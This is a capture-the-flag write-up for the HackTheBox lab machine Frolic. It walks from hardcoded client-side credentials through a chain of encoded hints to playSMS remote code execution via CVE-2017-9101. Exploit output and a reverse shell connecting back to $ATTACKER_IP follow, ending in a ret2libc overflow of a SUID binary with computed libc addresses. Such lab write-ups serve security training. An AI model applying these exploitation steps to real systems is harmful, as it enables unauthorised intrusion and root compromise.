Frolic Writeup - HackTheBox
Frolic is a Linux box. The chain runs: two web apps on non-standard ports, a client-side JavaScript login exposes hardcoded credentials, the success page hides an Ook!-encoded hint pointing to a Base64 blob that decodes to a password-protected zip, inside which a hex string decodes through Base64 into Brainfuck, which outputs the playSMS password, CVE-2017-9101 gives a shell as www-data, a custom SUID binary uses strcpy without bounds checking and a ret2libc chain escalates to root.
Discovery
Port scan
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 139/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu 1880/tcp open http Node.js Express framework 9999/tcp open http nginx 1.10.3 (Ubuntu) |_http-title: Welcome to nginx!
Two web servers on non-standard ports. The nginx default page references forlic.htb:1880, linking the two services. Add forlic.htb to /etc/hosts.
Web Enumeration
Port 1880 - Node-RED
about [Status: 200]
/red/about is a Node-RED changelog confirming version 0.19.4. Note the version for later, then move to port 9999.
Port 9999 - Custom admin panel
301 http://forlic.htb:9999/admin 200 http://forlic.htb:9999/admin/index.html 200 http://forlic.htb:9999/admin/js/login.js 200 http://forlic.htb:9999/admin/success.html 301 http://forlic.htb:9999/backup 301 http://forlic.htb:9999/dev
Credential Chain
Hardcoded credentials in login.js
var attempt = 3;
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
window.location = "success.html";
}
}
Authentication is entirely client-side. Credentials are admin / superduperlooperpassword_lol. The success page at /admin/success.html contains a wall of ., !, and ? characters, which is Ook! encoded text. Decode it:
# Paste success.html content into https://www.splitbrain.org/services/ook
# Output:
Nothing here check /asdiSIAJJ0QWE9JAS
Base64 blob to zip to hex to Brainfuck
out: Zip archive data, made by v3.0 UNIX
PASSWORD FOUND!!!!: pw == password
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ ...
Hex decodes to Base64, Base64 decodes to Brainfuck. Paste the Brainfuck into an interpreter to get the playSMS password.
Foothold
playSMS via CVE-2017-9101
/dev/backup/ references a /playsms path. Browsing to it shows a real login form. Use the recovered credential with admin:
[*] Grabbing CSRF token for login [*] Attempting to login as admin [+] Logged in! [*] Grabbing CSRF token for phonebook import [*] Attempting to execute payload uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE via the phonebook CSV import. The import embeds unsanitized field content into generated PHP. Get a shell:
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 52416 $ whoami www-data
Shell as www-data.
Privilege Escalation
SUID binary ret2libc
A custom SUID binary sits at /home/ayush/.binary/rop. strings shows it calls strcpy and setuid:
setuid strcpy puts printf vuln main [*] Usage: program <message> [+] Message sent:
linux-gate.so.1 => (0xb7fda000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000) /lib/ld-linux.so.2 (0xb7fdb000)
32-bit binary, dynamically linked. strcpy with user input means a classic stack buffer overflow. Build a ret2libc chain using addresses from the loaded libc:
1457: 0003ada0 FUNC system@@GLIBC_2.0 141: 0002e9d0 FUNC exit@@GLIBC_2.0 15ba0b /bin/sh
libc base from ldd is 0xb7e19000. Add the offsets:
system():0xb7e19000 + 0x3ada0=0xb7e53da0exit():0xb7e19000 + 0x2e9d0=0xb7e479d0/bin/sh:0xb7e19000 + 0x15ba0b=0xb7f74a0b
The payload is 52 bytes of padding, then system() address, exit() address, /bin/sh address. On 32-bit cdecl the argument follows the return address on the stack:
# id uid=0(root) gid=33(www-data) groups=33(www-data)
Root shell via ret2libc. No shellcode needed, no stack canaries, no ASLR.
Related
References
-
Authenticated playSMS phonebook import RCE.
-
Online Ook!/Brainfuck interpreter.